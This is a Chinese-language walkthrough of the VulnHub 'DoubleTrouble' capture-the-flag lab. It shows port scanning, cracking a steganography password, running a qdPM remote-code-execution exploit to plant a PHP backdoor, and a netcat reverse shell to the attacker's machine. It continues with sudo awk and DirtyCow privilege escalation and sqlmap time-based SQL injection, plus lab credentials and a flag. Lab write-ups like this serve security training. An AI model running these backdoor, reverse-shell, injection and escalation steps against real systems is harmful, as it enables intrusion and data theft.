靶机介绍
1)靶机地址:https://download.vulnhub.com/doubletrouble/doubletrouble.ova
2)靶机难度:中
3)打靶目标: 取得两台靶机 root 权限 + Flag
4)涉及攻击方法:主机发现、端口扫描、WEB信息收集、开源CMS漏洞利用、隐写术、EXP代码修复、密码爆破、GTFObins提权、SQL盲注、脏牛提权
5)靶机简介:本靶机之中还藏着第二个靶机,需要全部攻破它们。如今大量WEB应用都基于开源CMS进行搭建,而CMS本身一旦被发现存在漏洞,则会威胁众多应用的安全。作为攻击方,应该重点关注目标使用的CMS,进而通过信息收集和源码审计,发现并利用其中存在的漏洞。本次打靶会使用一个新的隐写密码破解工具,将密码破解的效率提升9000倍。面对第二个靶机,会使用到SQL盲注技术,利用布尔逻辑以二进制位为单位,从数据库中提取机密的数据。
打靶过程
1)主机发现- # arp-scan --interface=eth1 --localnet
复制代码
2)全端口扫描- # nmap -p- 192.168.56.121
复制代码
3)端口服务版本扫描- # nmap -p22,80 -sC -sV 192.168.56.121
复制代码
4)浏览器访问80端口及查看网页源码信息


copyright为版权方,即源码贡献者是谁,该应用web应用名称为qdpM,版本为9.1,访问官方网站,可知是一个CMS程序。如果该CMS的存在高位漏洞,可直接进行利用。
在实际渗透过程中,发现一个目标web程序使用的是哪个CMS后,可针对该CMS源码最新发布时的relsease信息来进行检查,发现是否修复了哪些漏洞。
5)查看官网最新的qdpM的cms的relsese信息:未发现任何漏洞修复的内容,但是根据提示,在该CMS安装完成后,会默认存在一个/install的目录

6)通过访问install目录发现,该目录主要是在CMS安装完成后,用于环境检查的一个文件,但是此处存在,说明管理员在CMS安装完成后,并没有将该文件删除- http://192.168.56.121/install/
复制代码
7)通过访问/core/cache/qdPM/目录,也可以发现一些该网站的文件信息,包括一些php文件,但是php文件因为被解析的原因,无法查看其具体的内容(要查看内容,除非系统具备任意文件下载漏洞),同样也可查看其他目录下的文件- http://192.168.56.121//core/cache/qdPM
复制代码
8)因知道了当前CMS的名称及版本,可以直接在kali中搜索,该目标主机的CMS版本是否存在已知可利用的脚本程序
通过搜索,存在多个可利用的代码,优先关注其中的远程代码执行漏洞利用脚本
9)将两个远程代码执行漏洞利用脚本进行下载后,简单查看- # cp /usr/share/exploitdb/exploits/php/webapps/47954.py ./
- # cp /usr/share/exploitdb/exploits/php/webapps/50175.py ./
复制代码
通过查看脚本发现两个脚本都是针对远程代码执行漏洞,只不过使用的python版本不同,且使用该脚本必须通过身份认证后,即已经登录到目标系统内部,才能利用远程代码执行
10)先通过万能密码的登录尝试' or 1=1 -- 无法正常登录

11)通过搜索发现了qdPm默认安装完成后的用户名为admin@localhost.com和密admin,但是也无法成功登录。表面密码已经备修改过了
12)通过路径爬取,查看web程序的其他文件- # dirsearch -u http://192.168.56.121
复制代码
按个对发现的目录和文件进行查看,发现了一个secret目录(秘密),作为一个靶机,有可能该目录中存在重要信息
13)通过浏览器访问,发现该目录下存在着一张图片,将图片进行保存

14)在很多靶机中会使用隐写术 的方式在图片中隐藏信息。先通过setghide工具查看图片中有无隐藏信息- # steghide info doubletrouble.jpg
复制代码
通过分析发现,该图片格式为jpeg,且该图片有能力隐藏4.7KB大小的数据,但是要想获取到隐藏到图片中的数据时,需要输入密码
15)安装stegcracker隐写信息破解程序- # apt install stegcracker
- # stegcracker
复制代码
根据提示发现stegcracker已经升级为了stegseek,且stegseek在效率方面比stegcracker高的多
16)先下载stegseek,并且使用setgseek破解图片中的密码- stegseek下载地址:https://github.com/RickdeJager/stegseek
- # apt install ./stegseek_0.6-1.deb
- # stegseek --crack doubletrouble.jpg rockyou.txt -xf file 密码破解并将破解出的内容输出到file文件中
复制代码
破解出密码为92camaro
17)查看文件内容- # file file #查看file文件类型为文本文件
- # cat file
- otisrush@localhost.com
- otis666
复制代码
查看文件内容发现了两行字符串,尝试通过该字符字符传作为账户和密码登录web应用
18)尝试登录


发现正常的登录进了目标系统
19)执行远程代码漏洞利用脚本
①在初次执行脚本时,报出了语法错误
②通过检查代码发现,是因为代码中缩进出现问题导致的语法问题,重新整理代码的缩进后,执行代码,输入脚本使用方式

③输入参数,执行远程代码执行漏洞利用脚本- # python3 50175.py -url http://192.168.56.121/ -u otisrush@localhost.com -p otis666
复制代码
执行成功后,会返回一个URL地址,在users目录下会生成一个后门文件如下

④利用后门执行命令- http://192.168.56.121//uploads/users/333276-backdoor.php?cmd=id
复制代码
20)利用webshell,执行反弹shell- http://192.168.56.121//uploads/users/333276-backdoor.php?cmd=which nc
- http://192.168.56.121//uploads/users/333276-backdoor.php?cmd=nc -e /bin/bash 192.168.56.103 4444
复制代码
21)突破边界后,先利用python的pth模块将shell进行升级,再对目标靶机进行信息搜集,- python -c 'import pty;pty.spawn("/bin/bash")'
- $ sudo -l
复制代码
查看发现不需要密码即可使用awk命令,且该命令属主为root
22)通过gtfobins中关于利用awk进行sudo提权的命令进行提权- https://gtfobins.github.io/gtfobins/awk/
- sudo awk 'BEGIN {system("/bin/bash")}'
复制代码

通过上述命令直接将权限提升为了root,且在家目录下发现了第二个ova文件
23)将ova镜像文件通过kali传输到kali主机- kali:
- #nc -nvlp 4444 >second.ova
- 目标靶机:
- # nc 192.168.56.103 4444 < doubletrouble.ova -w 1 当不在有数据传输,1秒后断开连接
复制代码
24)传输完成后,验证两个ova文件的hash值是否一致- 目标靶机:
- #md5sum doubletrouble.ova
- 186b2cb6b64e630c6e93fb9905e76a0d doubletrouble.ova
- kali主机:
- # md5sum second.ova
- 186b2cb6b64e630c6e93fb9905e76a0d second.ova
复制代码 25)将新下载的ova文件导入虚拟机后进行主机发现- # arp-scan --interface=eth1 --localnet
复制代码
26)全端口扫描- # nmap -p- 192.168.56.123
复制代码
27)端口服务版本扫描- # nmap -p22,80 -sC -sV 192.168.56.123
复制代码
28)浏览器访问靶机的80端口,发现是一个登录页面,通过查看源代码未发现有用信息;通过万能密码尝试也无法成功登入

29)对目标靶机进行web目录爬取,也未发现敏感文件及目录- # dirsearch -u http://192.168.56.123
- #dirsearch -u http://192.168.56.x/cgi-bin -f -e cgi,sh
复制代码 30)尝试通过burp抓取web系统登录时的数据包,尝试在用户名和密码出进行SQL注入尝试- uname=abcd&psw=' AND(SELECT X FROM (SELECT (SLEEP(5)))XZ)#&btnLogin=Login
复制代码
当在用户名或密码处输入如上SQL语句时,会因为sleep函数的原因造成延时,说明此处存在时间盲注
31)将数据包保存到r.txt后通过sqlmap对web程序数据库进行注入- # sqlmap -r r.txt
- # sqlmap -r r.txt -p uname --dbms mysql --dbs
- # sqlmap -r r.txt -p uname --dbms mysql -D doubletrouble --tables
- # sqlmap -r r.txt -p uname --dbms mysql -D doubletrouble -T users --columns
- # sqlmap -r r.txt -p uname --dbms mysql -D doubletrouble -T users --dump
复制代码
通过sqlmap注入出两队用户名和密码:| GfsZxc1 | montreux || ZubZub99 | clapton
32)通过上述的用户名和密码登录web系统,发现仍然无法登录,此时使用用户名和密码通过ssh进行登录,多次尝试发现,通过用户名clapton和密码ZubZub99成功登陆至靶机- # ssh clapton@192.168.56.12
复制代码
33)主机信息搜集
通过查看靶机操作系统版本未3.2.0,该版本存在脏牛提权漏洞
34)利用脏牛漏洞进行提权
①在如下地址下载利用代码- https://github.com/FireFart/dirtycow
复制代码 ①将文件传输到目标靶机- 目标靶机:
- $ nc -nvlp 4444 > dirty.c
- kali:
- # nc 192.168.56.123 4444 < dirty.c -w 1
复制代码 ③代码编译,后执行代码。提权成功后会用firefart用户去替换root用户- $ gcc -pthread dirty.c -o exp -lcrypt
- $ chmod +x exp
- $ ./exp pass #给定一个密码
复制代码
④使用用户firefart密码pass登录目标靶机,获取flag
 - firefart@doubletrouble:~# cat root.txt
- 1B8EEA89EA92CECB931E3CC25AA8DE21firefart
复制代码 免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |